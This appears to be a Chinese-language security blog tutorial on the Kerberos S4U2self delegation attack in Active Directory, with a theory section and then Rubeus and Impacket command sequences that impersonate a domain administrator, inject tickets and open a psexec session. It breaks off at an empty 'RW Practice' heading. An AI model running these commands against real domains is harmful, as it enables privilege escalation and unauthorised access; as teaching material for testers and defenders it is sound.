S4U2self

Theory

前面我们说到了银票攻击,这里有一种更加隐蔽的攻击,S4U2self攻击。

说说前置条件,Kerberos 认证协议具有委托能力。Kerberos 委托允许服务以域用户的身份访问其他服务,攻击者可以利用 Kerberos 委托来获取有价值的资产访问权限,有时甚至可以提升到域管理员权限,而这类委托依赖于 Kerberos 扩展,即 S4U2Self 和 S4U2Proxy。

以一个生动的例子来说明S4U2Self,简单的举个例子:

  1. 攻击者控制了 HR系统
  2. 攻击者向安全部门说:”CEO已经登录了,给我一张代表他的通行证”
  3. 安全部门给攻击者一张”CEO的通行证”
  4. 攻击者用CEO的身份访问任何资源

S4U2self 还可以用于以其他域用户的身份为该用户生成服务票据,即使该用户是“委托敏感”用户或属于受保护用户组。

1
2
3
4
5
6
7
# 查看用户的委派敏感性设置
Get-ADUser "DomainAdmin" -Properties UserAccountControl
# 如果用户被标记为委派敏感,UserAccountControl 会包含:
# NOT_DELEGATED (0x100000) 标志

# 查看 Protected Users 组成员
Get-ADGroupMember "Protected Users"

并且由于机器用户在创建时默认具有自己的服务主体名称(SPNs),所以所有机器用户都可以进行S4U2Self攻击。

虽然 Silver Ticket 包含了一个伪造的 PAC(权限票据附加信息),但在 S4U2self 请求后发出的服务票据将是合法的,并且包含有效的 PAC。

Practice

windows

首先第一步是请求一个 TGT(票据授予票据),分为两种,一种是我们没有得到用户凭据的情况

1
Rubeus.exe tgtdeleg /nowrap

还有一种是有用户凭据(NTHash)

1
Rubeus.exe asktgt /nowrap /domain:"domain" /user:"computer$" /rc4:"NThash"

我们再申请票据进行S4U2self攻击,再将票据注入内存即可

1
2
3
Rubeus.exe s4u /self /nowrap /impersonateuser:"DomainAdmin" /altservice:"cifs/machine.domain.local" /ticket:"base64ticket"

Rubeus.exe ptt /ticket:doIGaDCCBmSgAwIBBaEDAgEWooIFXzCCBVt...

又或者是接着进行S4uproxy攻击

1
Rubeus.exe s4u /tgs:doIGaDCCBmSgAwIBBaEDAgEWooIFXzCCBVt... /msdsspn:"ldap/dc.domain.local" /impersonateuser:"DomainAdmin"

linux

1
impacket-getTGT -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"

将TGT处理为ccache文件

1
2
3
4
echo "doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKd..." | base64 -d > $ticket.kirbi

# UNIX -> Windows
impacket-ticketConverter $ticket.kirbi $ticket.ccache

申请票据进行S4U2self攻击

1
2
export KRB5CCNAME="/path/to/ticket.ccache"
impacket-getST -self -impersonate "DomainAdmin" -altservice "cifs/machine.domain.local" -k -no-pass -dc-ip "DomainController" "domain.local"/'machine$'

获得票据之后无密码连接即可

1
2
3
4
export KRB5CCNAME="DomainAdmin.ccache"


impacket-psexec Administrator@MSSQLSERVER.xiaorang.lab -k -no-pass -codec gbk

RW Practice